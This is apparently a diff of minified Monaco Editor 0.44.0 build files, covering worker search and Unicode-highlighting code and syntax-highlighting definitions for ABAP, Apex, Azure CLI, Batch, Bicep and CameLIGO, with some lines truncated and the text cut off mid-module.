r[r.length-1];const s=_.getLineCount();return E.lineNumber!==s||E.column!==_.getLineMaxColumn(s)?this._doFindPreviousMatchMultiline(_,new i.Position(s,_.getLineMaxColumn(s)),y,v):null}static _doFindPreviousMatchLineByLine(_,E,y,v){const r=_.getLineCount(),s=E.lineNumber,u=_.getLineContent(s).substring(0,E.column-1),p=this._findLastMatchInLine(y,u,s,v);if(p)return p;for(let b=1;b<=r;b++){const C=(r+s-b-1)%r,N=_.getLineContent(C+1),R=this._findLastMatchInLine(y,N,C+1,v);if(R)return R}return null}static _findLastMatchInLine(_,E,y,v){let r=null,s;for(_.reset(0);s=_.next(E);)r=w(new d.Range(y,s.index+1,y,s.index+1+s[0].length),s,v);return r}}n.TextModelSearch=a;function c(S,_,E,y,v){if(y===0)return!0;const r=_.charCodeAt(y-1);if(S.get(r)!==0||r===13||r===10)return!0;if(v>0){const s=_.charCodeAt(y);if(S.get(s)!==0)return!0}return!1}function l(S,_,E,y,v){if(y+v===E)return!0;const r=_.charCodeAt(y+v);if(S.get(r)!==0||r===13||r===10)return!0;if(v>0){const s=_.charCodeAt(y+v-1);if(S.get(s)!==0)return!0}return!1}function f(S,_,E,y,v){return c(S,_,E,y,v)&&l(S,_,E,y,v)}n.isValidMatch=f;class g{constructor(_,E){this._wordSeparators=_,this._searchRegex=E,this._prevMatchStartIndex=-1,this._prevMatchLength=0}reset(_){this._searchRegex.lastIndex=_,this._prevMatchStartIndex=-1,this._prevMatchLength=0}next(_){const E=_.length;let y;do{if(this._prevMatchStartIndex+this._prevMatchLength===E||(y=this._searchRegex.exec(_),!y))return null;const v=y.index,r=y[0].length;if(v===this._prevMatchStartIndex&&r===this._prevMatchLength){if(r===0){M.getNextCodePoint(_,E,this._searchRegex.lastIndex)>65535?this._searchRegex.lastIndex+=2:this._searchRegex.lastIndex+=1;continue}return null}if(this._prevMatchStartIndex=v,this._prevMatchLength=r,!this._wordSeparators||f(this._wordSeparators,_,E,v,r))return y}while(y);return null}}n.Searcher=g}),Y(X[57],J([0,1,2,56,6,12,28]),function(T,n,M,A,i,d,m){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.UnicodeTextModelHighlighter=void 0;class L{static computeUnicodeHighlights(a,c,l){const f=l?l.startLineNumber:1,g=l?l.endLineNumber:a.getLineCount(),S=new o(c),_=S.getCandidateCodePoints();let E;_==="allNonBasicAscii"?E=new RegExp("[^\\t\\n\\r\\x20-\\x7E]","g"):E=new RegExp(`${h(Array.from(_))}`,"g");const y=new A.Searcher(null,E),v=[];let r=!1,s,u=0,p=0,b=0;e:for(let C=f,N=g;C<=N;C++){const R=a.getLineContent(C),D=R.length;y.reset(0);do if(s=y.next(R),s){let k=s.index,U=s.index+s[0].length;if(k>0){const x=R.charCodeAt(k-1);i.isHighSurrogate(x)&&k--}if(U+1<D){const x=R.charCodeAt(U-1);i.isHighSurrogate(x)&&U++}const I=R.substring(k,U);let B=(0,m.getWordAtText)(k+1,m.DEFAULT_WORD_REGEXP,R,0);B&&B.endColumn<=k+1&&(B=null);const z=S.shouldHighlightNonBasicASCII(I,B?B.word:null);if(z!==0){z===3?u++:z===2?p++:z===1?b++:(0,d.assertNever)(z);const x=1e3;if(v.length>=x){r=!0;break e}v.push(new M.Range(C,k+1,C,U+1))}}while(s)}return{ranges:v,hasMore:r,ambiguousCharacterCount:u,invisibleCharacterCount:p,nonBasicAsciiCharacterCount:b}}static computeUnicodeHighlightReason(a,c){const l=new o(c);switch(l.shouldHighlightNonBasicASCII(a,null)){case 0:return null;case 2:return{kind:1};case 3:{const g=a.codePointAt(0),S=l.ambiguousCharacters.getPrimaryConfusable(g),_=i.AmbiguousCharacters.getLocales().filter(E=>!i.AmbiguousCharacters.getInstance(new Set([...c.allowedLocales,E])).isAmbiguous(g));return{kind:0,confusableWith:String.fromCodePoint(S),notAmbiguousInLocales:_}}case 1:return{kind:2}}}}n.UnicodeTextModelHighlighter=L;function h(e,a){return`[${i.escapeRegExpCharacters(e.map(l=>String.fromCodePoint(l)).join(""))}]`}class o{constructor(a){this.options=a,this.allowedCodePoints=new Set(a.allowedCodePoints),this.ambiguousCharacters=i.AmbiguousCharacters.getInstance(new Set(a.allowedLocales))}getCandidateCodePoints(){if(this.options.nonBasicASCII)return"allNonBasicAscii";const a=new Set;if(this.options.invisibleCharacters)for(const c of i.InvisibleCharacters.codePoints)w(String.fr Line truncated
`||e===" "}}),Y(X[58],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.WrappingIndent=n.TrackedRangeStickiness=n.TextEditorCursorStyle=n.TextEditorCursorBlinkingStyle=n.SymbolTag=n.SymbolKind=n.SignatureHelpTriggerKind=n.SelectionDirection=n.ScrollbarVisibility=n.ScrollType=n.RenderMinimap=n.RenderLineNumbersType=n.PositionAffinity=n.OverviewRulerLane=n.OverlayWidgetPositionPreference=n.MouseTargetType=n.MinimapPosition=n.MarkerTag=n.MarkerSeverity=n.KeyCode=n.InlineCompletionTriggerKind=n.InlayHintKind=n.InjectedTextCursorStops=n.IndentAction=n.GlyphMarginLane=n.EndOfLineSequence=n.EndOfLinePreference=n.EditorOption=n.EditorAutoIndentStrategy=n.DocumentHighlightKind=n.DefaultEndOfLine=n.CursorChangeReason=n.ContentWidgetPositionPreference=n.CompletionTriggerKind=n.CompletionItemTag=n.CompletionItemKind=n.CompletionItemInsertTextRule=n.CodeActionTriggerType=n.AccessibilitySupport=void 0;var M;(function(t){t[t.Unknown=0]="Unknown",t[t.Disabled=1]="Disabled",t[t.Enabled=2]="Enabled"})(M||(n.AccessibilitySupport=M={}));var A;(function(t){t[t.Invoke=1]="Invoke",t[t.Auto=2]="Auto"})(A||(n.CodeActionTriggerType=A={}));var i;(function(t){t[t.None=0]="None",t[t.KeepWhitespace=1]="KeepWhitespace",t[t.InsertAsSnippet=4]="InsertAsSnippet"})(i||(n.CompletionItemInsertTextRule=i={}));var d;(function(t){t[t.Method=0]="Method",t[t.Function=1]="Function",t[t.Constructor=2]="Constructor",t[t.Field=3]="Field",t[t.Variable=4]="Variable",t[t.Class=5]="Class",t[t.Struct=6]="Struct",t[t.Interface=7]="Interface",t[t.Module=8]="Module",t[t.Property=9]="Property",t[t.Event=10]="Event",t[t.Operator=11]="Operator",t[t.Unit=12]="Unit",t[t.Value=13]="Value",t[t.Constant=14]="Constant",t[t.Enum=15]="Enum",t[t.EnumMember=16]="EnumMember",t[t.Keyword=17]="Keyword",t[t.Text=18]="Text",t[t.Color=19]="Color",t[t.File=20]="File",t[t.Reference=21]="Reference",t[t.Customcolor=22]="Customcolor",t[t.Folder=23]="Folder",t[t.TypeParameter=24]="TypeParameter",t[t.User=25]="User",t[t.Issue=26]="Issue",t[t.Snippet=27]="Snippet"})(d||(n.CompletionItemKind=d={}));var m;(function(t){t[t.Deprecated=1]="Deprecated"})(m||(n.CompletionItemTag=m={}));var L;(function(t){t[t.Invoke=0]="Invoke",t[t.TriggerCharacter=1]="TriggerCharacter",t[t.TriggerForIncompleteCompletions=2]="TriggerForIncompleteCompletions"})(L||(n.CompletionTriggerKind=L={}));var h;(function(t){t[t.EXACT=0]="EXACT",t[t.ABOVE=1]="ABOVE",t[t.BELOW=2]="BELOW"})(h||(n.ContentWidgetPositionPreference=h={}));var o;(function(t){t[t.NotSet=0]="NotSet",t[t.ContentFlush=1]="ContentFlush",t[t.RecoverFromMarkers=2]="RecoverFromMarkers",t[t.Explicit=3]="Explicit",t[t.Paste=4]="Paste",t[t.Undo=5]="Undo",t[t.Redo=6]="Redo"})(o||(n.CursorChangeReason=o={}));var w;(function(t){t[t.LF=1]="LF",t[t.CRLF=2]="CRLF"})(w||(n.DefaultEndOfLine=w={}));var e;(function(t){t[t.Text=0]="Text",t[t.Read=1]="Read",t[t.Write=2]="Write"})(e||(n.DocumentHighlightKind=e={}));var a;(function(t){t[t.None=0]="None",t[t.Keep=1]="Keep",t[t.Brackets=2]="Brackets",t[t.Advanced=3]="Advanced",t[t.Full=4]="Full"})(a||(n.EditorAutoIndentStrategy=a={}));var c;(function(t){t[t.acceptSuggestionOnCommitCharacter=0]="acceptSuggestionOnCommitCharacter",t[t.acceptSuggestionOnEnter=1]="acceptSuggestionOnEnter",t[t.accessibilitySupport=2]="accessibilitySupport",t[t.accessibilityPageSize=3]="accessibilityPageSize",t[t.ariaLabel=4]="ariaLabel",t[t.ariaRequired=5]="ariaRequired",t[t.autoClosingBrackets=6]="autoClosingBrackets",t[t.autoClosingComments=7]="autoClosingComments",t[t.screenReaderAnnounceInlineSuggestion=8]="screenReaderAnnounceInlineSuggestion",t[t.autoClosingDelete=9]="autoClosingDelete",t[t.autoClosingOvertype=10]="autoClosingOvertype",t[t.autoClosingQuotes=11]="autoClosingQuotes",t[t.autoIndent=12]="autoIndent",t[t.automaticLayout=13]="automaticLayout",t[t.autoSurround=14]="autoSurround",t[t.bracketPairColorization=15]="bracketPairColorization",t[t.guides=16]="guides",t[t.codeLens=17]="codeLens",t[t.codeLensFontFamily=18]="codeLensFontFamily",t[t.codeLensFontSize=19]="codeLensFontSize",t[t.colorDecorators=20]="colorDecorators",t[t.colorDecoratorsLimit=21]="colorDecoratorsLimit",t[t.columnSelection=22]="columnSelection",t[t.comments=23]="comments",t[t.contextmenu=24]="contextmenu",t[t.copyWithSyntaxHighlighting=25]="copyWithSyntaxHighlighting",t[t.cursorBlinking=26]="cursorBlinking",t[t.cursorSmoothCaretAnimation=27]="cursorSmoothCaretAnimation",t[t.cursorStyle=28]="cursorStyle",t[t.cursorSurroundingLines=29]="cursorSurroundingLines",t[t.cursorSurroundingLinesStyle=30]="cursorSurroundingLinesStyle",t[t.cursorWidth=31]="cursorWidth",t[t.disableLayerHinting=32]="disableLayerHinting",t[t.disableMonospaceOptimizations=33]="disableMonospaceOptimizations",t[t.domReadOnly=34]="domReadOnly",t[t.dragAndDrop=35]="dragAndDrop",t[t.dropIntoEditor=36]="dropIntoEditor",t[t.emptySelectionClipboard=37]="emptySelectionClipboard",t[t.experimentalWhitespaceRendering=38]="experimentalWhitespaceRendering",t[t.extraEditorC Line truncated
//# sourceMappingURL=../../../../min-maps/vs/base/worker/workerMain.js.map
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/abap/abap", ["require","require"],(require)=>{
var moduleExports=(()=>{var s=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var i in e)s(t,i,{get:e[i],enumerable:!0})},d=(t,e,i,a)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of r(e))!c.call(t,n)&&n!==i&&s(t,n,{get:()=>e[n],enumerable:!(a=o(e,n))||a.enumerable});return t};var p=t=>d(s({},"__esModule",{value:!0}),t);var g={};l(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"*"},brackets:[["[","]"],["(",")"]]},u={defaultToken:"invalid",ignoreCase:!0,tokenPostfix:".abap",keywords:["abap-source","abbreviated","abstract","accept","accepting","according","activation","actual","add","add-corresponding","adjacent","after","alias","aliases","align","all","allocate","alpha","analysis","analyzer","and","append","appendage","appending","application","archive","area","arithmetic","as","ascending","aspect","assert","assign","assigned","assigning","association","asynchronous","at","attributes","authority","authority-check","avg","back","background","backup","backward","badi","base","before","begin","between","big","binary","bintohex","bit","black","blank","blanks","blob","block","blocks","blue","bound","boundaries","bounds","boxed","break-point","buffer","by","bypassing","byte","byte-order","call","calling","case","cast","casting","catch","center","centered","chain","chain-input","chain-request","change","changing","channels","character","char-to-hex","check","checkbox","ci_","circular","class","class-coding","class-data","class-events","class-methods","class-pool","cleanup","clear","client","clob","clock","close","coalesce","code","coding","col_background","col_group","col_heading","col_key","col_negative","col_normal","col_positive","col_total","collect","color","column","columns","comment","comments","commit","common","communication","comparing","component","components","compression","compute","concat","concat_with_space","concatenate","cond","condense","condition","connect","connection","constants","context","contexts","continue","control","controls","conv","conversion","convert","copies","copy","corresponding","country","cover","cpi","create","creating","critical","currency","currency_conversion","current","cursor","cursor-selection","customer","customer-function","dangerous","data","database","datainfo","dataset","date","dats_add_days","dats_add_months","dats_days_between","dats_is_valid","daylight","dd/mm/yy","dd/mm/yyyy","ddmmyy","deallocate","decimal_shift","decimals","declarations","deep","default","deferred","define","defining","definition","delete","deleting","demand","department","descending","describe","destination","detail","dialog","directory","disconnect","display","display-mode","distinct","divide","divide-corresponding","division","do","dummy","duplicate","duplicates","duration","during","dynamic","dynpro","edit","editor-call","else","elseif","empty","enabled","enabling","encoding","end","endat","endcase","endcatch","endchain","endclass","enddo","endenhancement","end-enhancement-section","endexec","endform","endfunction","endian","endif","ending","endinterface","end-lines","endloop","endmethod","endmodule","end-of-definition","end-of-editing","end-of-file","end-of-page","end-of-selection","endon","endprovide","endselect","end-test-injection","end-test-seam","endtry","endwhile","endwith","engineering","enhancement","enhancement-point","enhancements","enhancement-section","entries","entry","enum","environment","equiv","errormessage","errors","escaping","event","events","exact","except","exception","exceptions","exception-table","exclude","excluding","exec","execute","exists","exit","exit-command","expand","expanding","expiration","explicit","exponent","export","exporting","extend","extended","extension","extract","fail","fetch","field","field-groups","fields","field-symbol","field-symbols","file","filter","filters","filter-table","final","find","first","first-line","fixed-point","fkeq","fkge","flush","font","for","form","format","forward","found","frame","frames","free","friends","from","function","functionality","function-pool","further","gaps","generate","get","giving","gkeq","gkge","global","grant","green","group","groups","handle","handler","harmless","hashed","having","hdb","header","headers","heading","head-lines","help-id","help-request","hextobin","hide","high","hint","hold","hotspot","icon","id","identification","identifier","ids","if","ignore","ignoring","immediately","implementation","implementations","implemented","implicit","import","importing","in","inactive","incl","include","includes","including","increment","index","index-line","infotypes","inheriting","init","initial","initialization","inner","inout","input","insert","instance","instances","instr","intensified","interface","interface-pool","interfaces","internal","intervals","into","inverse","inverted-date","is","iso","job","join","keep","keeping","kernel","key","keys","keywords","kind","language","last","lLine truncated
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/apex/apex", ["require","require"],(require)=>{
var moduleExports=(()=>{var i=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(e,t)=>{for(var s in t)i(e,s,{get:t[s],enumerable:!0})},g=(e,t,s,a)=>{if(t&&typeof t=="object"||typeof t=="function")for(let o of c(t))!l.call(e,o)&&o!==s&&i(e,o,{get:()=>t[o],enumerable:!(a=r(t,o))||a.enumerable});return e};var p=e=>g(i({},"__esModule",{value:!0}),e);var h={};d(h,{conf:()=>m,language:()=>b});var m={wordPattern:/(-?\d*\.\d\w*)|([^\`\~\!\#\%\^\&\*\(\)\-\=\+\[\{\]\}\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"<",close:">"}],folding:{markers:{start:new RegExp("^\\s*//\\s*(?:(?:#?region\\b)|(?:<editor-fold\\b))"),end:new RegExp("^\\s*//\\s*(?:(?:#?endregion\\b)|(?:</editor-fold>))")}}},u=["abstract","activate","and","any","array","as","asc","assert","autonomous","begin","bigdecimal","blob","boolean","break","bulk","by","case","cast","catch","char","class","collect","commit","const","continue","convertcurrency","decimal","default","delete","desc","do","double","else","end","enum","exception","exit","export","extends","false","final","finally","float","for","from","future","get","global","goto","group","having","hint","if","implements","import","in","inner","insert","instanceof","int","interface","into","join","last_90_days","last_month","last_n_days","last_week","like","limit","list","long","loop","map","merge","native","new","next_90_days","next_month","next_n_days","next_week","not","null","nulls","number","object","of","on","or","outer","override","package","parallel","pragma","private","protected","public","retrieve","return","returning","rollback","savepoint","search","select","set","short","sort","stat","static","strictfp","super","switch","synchronized","system","testmethod","then","this","this_month","this_week","throw","throws","today","tolabel","tomorrow","transaction","transient","trigger","true","try","type","undelete","update","upsert","using","virtual","void","volatile","webservice","when","where","while","yesterday"],f=e=>e.charAt(0).toUpperCase()+e.substr(1),n=[];u.forEach(e=>{n.push(e),n.push(e.toUpperCase()),n.push(f(e))});var b={defaultToken:"",tokenPostfix:".apex",keywords:n,operators:["=",">","<","!","~","?",":","==","<=",">=","!=","&&","||","++","--","+","-","*","/","&","|","^","%","<<",">>",">>>","+=","-=","*=","/=","&=","|=","^=","%=","<<=",">>=",">>>="],symbols:/[=><!~?:&|+\-*\/\^%]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,digits:/\d+(_+\d+)*/,octaldigits:/[0-7]+(_+[0-7]+)*/,binarydigits:/[0-1]+(_+[0-1]+)*/,hexdigits:/[[0-9a-fA-F]+(_+[0-9a-fA-F]+)*/,tokenizer:{root:[[/[a-z_$][\w$]*/,{cases:{"@keywords":{token:"keyword.$0"},"@default":"identifier"}}],[/[A-Z][\w\$]*/,{cases:{"@keywords":{token:"keyword.$0"},"@default":"type.identifier"}}],{include:"@whitespace"},[/[{}()\[\]]/,"@brackets"],[/[<>](?!@symbols)/,"@brackets"],[/@symbols/,{cases:{"@operators":"delimiter","@default":""}}],[/@\s*[a-zA-Z_\$][\w\$]*/,"annotation"],[/(@digits)[eE]([\-+]?(@digits))?[fFdD]?/,"number.float"],[/(@digits)\.(@digits)([eE][\-+]?(@digits))?[fFdD]?/,"number.float"],[/(@digits)[fFdD]/,"number.float"],[/(@digits)[lL]?/,"number"],[/[;,.]/,"delimiter"],[/"([^"\\]|\\.)*$/,"string.invalid"],[/'([^'\\]|\\.)*$/,"string.invalid"],[/"/,"string",'@string."'],[/'/,"string","@string.'"],[/'[^\\']'/,"string"],[/(')(@escapes)(')/,["string","string.escape","string"]],[/'/,"string.invalid"]],whitespace:[[/[ \t\r\n]+/,""],[/\/\*\*(?!\/)/,"comment.doc","@apexdoc"],[/\/\*/,"comment","@comment"],[/\/\/.*$/,"comment"]],comment:[[/[^\/*]+/,"comment"],[/\*\//,"comment","@pop"],[/[\/*]/,"comment"]],apexdoc:[[/[^\/*]+/,"comment.doc"],[/\*\//,"comment.doc","@pop"],[/[\/*]/,"comment.doc"]],string:[[/[^\\"']+/,"string"],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/["']/,{cases:{"$#==$S2":{token:"string",next:"@pop"},"@default":"string"}}]]}};return p(h);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/azcli/azcli", ["require","require"],(require)=>{
var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},k=(t,e,o,a)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of r(e))!l.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(a=i(e,n))||a.enumerable});return t};var p=t=>k(s({},"__esModule",{value:!0}),t);var d={};c(d,{conf:()=>f,language:()=>g});var f={comments:{lineComment:"#"}},g={defaultToken:"keyword",ignoreCase:!0,tokenPostfix:".azcli",str:/[^#\s]/,tokenizer:{root:[{include:"@comment"},[/\s-+@str*\s*/,{cases:{"@eos":{token:"key.identifier",next:"@popall"},"@default":{token:"key.identifier",next:"@type"}}}],[/^-+@str*\s*/,{cases:{"@eos":{token:"key.identifier",next:"@popall"},"@default":{token:"key.identifier",next:"@type"}}}]],type:[{include:"@comment"},[/-+@str*\s*/,{cases:{"@eos":{token:"key.identifier",next:"@popall"},"@default":"key.identifier"}}],[/@str+\s*/,{cases:{"@eos":{token:"string",next:"@popall"},"@default":"string"}}]],comment:[[/#.*$/,{cases:{"@eos":{token:"comment",next:"@popall"}}}]]}};return p(d);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/bat/bat", ["require","require"],(require)=>{
var moduleExports=(()=>{var n=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var g=(o,e)=>{for(var t in e)n(o,t,{get:e[t],enumerable:!0})},c=(o,e,t,a)=>{if(e&&typeof e=="object"||typeof e=="function")for(let s of l(e))!i.call(o,s)&&s!==t&&n(o,s,{get:()=>e[s],enumerable:!(a=r(e,s))||a.enumerable});return o};var p=o=>c(n({},"__esModule",{value:!0}),o);var k={};g(k,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"REM"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],folding:{markers:{start:new RegExp("^\\s*(::\\s*|REM\\s+)#region"),end:new RegExp("^\\s*(::\\s*|REM\\s+)#endregion")}}},m={defaultToken:"",ignoreCase:!0,tokenPostfix:".bat",brackets:[{token:"delimiter.bracket",open:"{",close:"}"},{token:"delimiter.parenthesis",open:"(",close:")"},{token:"delimiter.square",open:"[",close:"]"}],keywords:/call|defined|echo|errorlevel|exist|for|goto|if|pause|set|shift|start|title|not|pushd|popd/,symbols:/[=><!~?&|+\-*\/\^;\.,]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/^(\s*)(rem(?:\s.*|))$/,["","comment"]],[/(\@?)(@keywords)(?!\w)/,[{token:"keyword"},{token:"keyword.$2"}]],[/[ \t\r\n]+/,""],[/setlocal(?!\w)/,"keyword.tag-setlocal"],[/endlocal(?!\w)/,"keyword.tag-setlocal"],[/[a-zA-Z_]\w*/,""],[/:\w*/,"metatag"],[/%[^%]+%/,"variable"],[/%%[\w]+(?!\w)/,"variable"],[/[{}()\[\]]/,"@brackets"],[/@symbols/,"delimiter"],[/\d*\.\d+([eE][\-+]?\d+)?/,"number.float"],[/0[xX][0-9a-fA-F_]*[0-9a-fA-F]/,"number.hex"],[/\d+/,"number"],[/[;,.]/,"delimiter"],[/"/,"string",'@string."'],[/'/,"string","@string.'"]],string:[[/[^\\"'%]+/,{cases:{"@eos":{token:"string",next:"@popall"},"@default":"string"}}],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/%[\w ]+%/,"variable"],[/%%[\w]+(?!\w)/,"variable"],[/["']/,{cases:{"$#==$S2":{token:"string",next:"@pop"},"@default":"string"}}],[/$/,"string","@popall"]]}};return p(k);})();
return moduleExports;
});
@@ -0,0 +1,11 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/bicep/bicep", ["require","require"],(require)=>{
var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var g=(e,n)=>{for(var o in n)r(e,o,{get:n[o],enumerable:!0})},l=(e,n,o,i)=>{if(n&&typeof n=="object"||typeof n=="function")for(let t of c(n))!a.call(e,t)&&t!==o&&r(e,t,{get:()=>n[t],enumerable:!(i=s(n,t))||i.enumerable});return e};var m=e=>l(r({},"__esModule",{value:!0}),e);var y={};g(y,{conf:()=>$,language:()=>w});var p=e=>`\\b${e}\\b`,k="[_a-zA-Z]",x="[_a-zA-Z0-9]",u=p(`${k}${x}*`),d=["targetScope","resource","module","param","var","output","for","in","if","existing"],b=["true","false","null"],f="[ \\t\\r\\n]",C="[0-9]+",$={comments:{lineComment:"//",blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"'",close:"'"},{open:"'''",close:"'''"}],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:"'''",close:"'''",notIn:["string","comment"]}],autoCloseBefore:`:.,=}])'
`,indentationRules:{increaseIndentPattern:new RegExp("^((?!\\/\\/).)*(\\{[^}\"'`]*|\\([^)\"'`]*|\\[[^\\]\"'`]*)$"),decreaseIndentPattern:new RegExp("^((?!.*?\\/\\*).*\\*/)?\\s*[\\}\\]].*$")}},w={defaultToken:"",tokenPostfix:".bicep",brackets:[{open:"{",close:"}",token:"delimiter.curly"},{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.parenthesis"}],symbols:/[=><!~?:&|+\-*/^%]+/,keywords:d,namedLiterals:b,escapes:"\\\\(u{[0-9A-Fa-f]+}|n|r|t|\\\\|'|\\${)",tokenizer:{root:[{include:"@expression"},{include:"@whitespace"}],stringVerbatim:[{regex:"(|'|'')[^']",action:{token:"string"}},{regex:"'''",action:{token:"string.quote",next:"@pop"}}],stringLiteral:[{regex:"\\${",action:{token:"delimiter.bracket",next:"@bracketCounting"}},{regex:"[^\\\\'$]+",action:{token:"string"}},{regex:"@escapes",action:{token:"string.escape"}},{regex:"\\\\.",action:{token:"string.escape.invalid"}},{regex:"'",action:{token:"string",next:"@pop"}}],bracketCounting:[{regex:"{",action:{token:"delimiter.bracket",next:"@bracketCounting"}},{regex:"}",action:{token:"delimiter.bracket",next:"@pop"}},{include:"expression"}],comment:[{regex:"[^\\*]+",action:{token:"comment"}},{regex:"\\*\\/",action:{token:"comment",next:"@pop"}},{regex:"[\\/*]",action:{token:"comment"}}],whitespace:[{regex:f},{regex:"\\/\\*",action:{token:"comment",next:"@comment"}},{regex:"\\/\\/.*$",action:{token:"comment"}}],expression:[{regex:"'''",action:{token:"string.quote",next:"@stringVerbatim"}},{regex:"'",action:{token:"string.quote",next:"@stringLiteral"}},{regex:C,action:{token:"number"}},{regex:u,action:{cases:{"@keywords":{token:"keyword"},"@namedLiterals":{token:"keyword"},"@default":{token:"identifier"}}}}]}};return m(y);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/cameligo/cameligo", ["require","require"],(require)=>{
var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var n in e)s(o,n,{get:e[n],enumerable:!0})},m=(o,e,n,r)=>{if(e&&typeof e=="object"||typeof e=="function")for(let t of a(e))!l.call(o,t)&&t!==n&&s(o,t,{get:()=>e[t],enumerable:!(r=i(e,t))||r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//",blockComment:["(*","*)"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'},{open:"(*",close:"*)"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'},{open:"(*",close:"*)"}]},g={defaultToken:"",tokenPostfix:".cameligo",ignoreCase:!0,brackets:[{open:"{",close:"}",token:"delimiter.curly"},{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.parenthesis"},{open:"<",close:">",token:"delimiter.angle"}],keywords:["abs","assert","block","Bytes","case","Crypto","Current","else","failwith","false","for","fun","if","in","let","let%entry","let%init","List","list","Map","map","match","match%nat","mod","not","operation","Operation","of","record","Set","set","sender","skip","source","String","then","to","true","type","with"],typeKeywords:["int","unit","string","tz","nat","bool"],operators:["=",">","<","<=",">=","<>",":",":=","and","mod","or","+","-","*","/","@","&","^","%","->","<-","&&","||"],symbols:/[=><:@\^&|+\-*\/\^%]+/,tokenizer:{root:[[/[a-zA-Z_][\w]*/,{cases:{"@keywords":{token:"keyword.$0"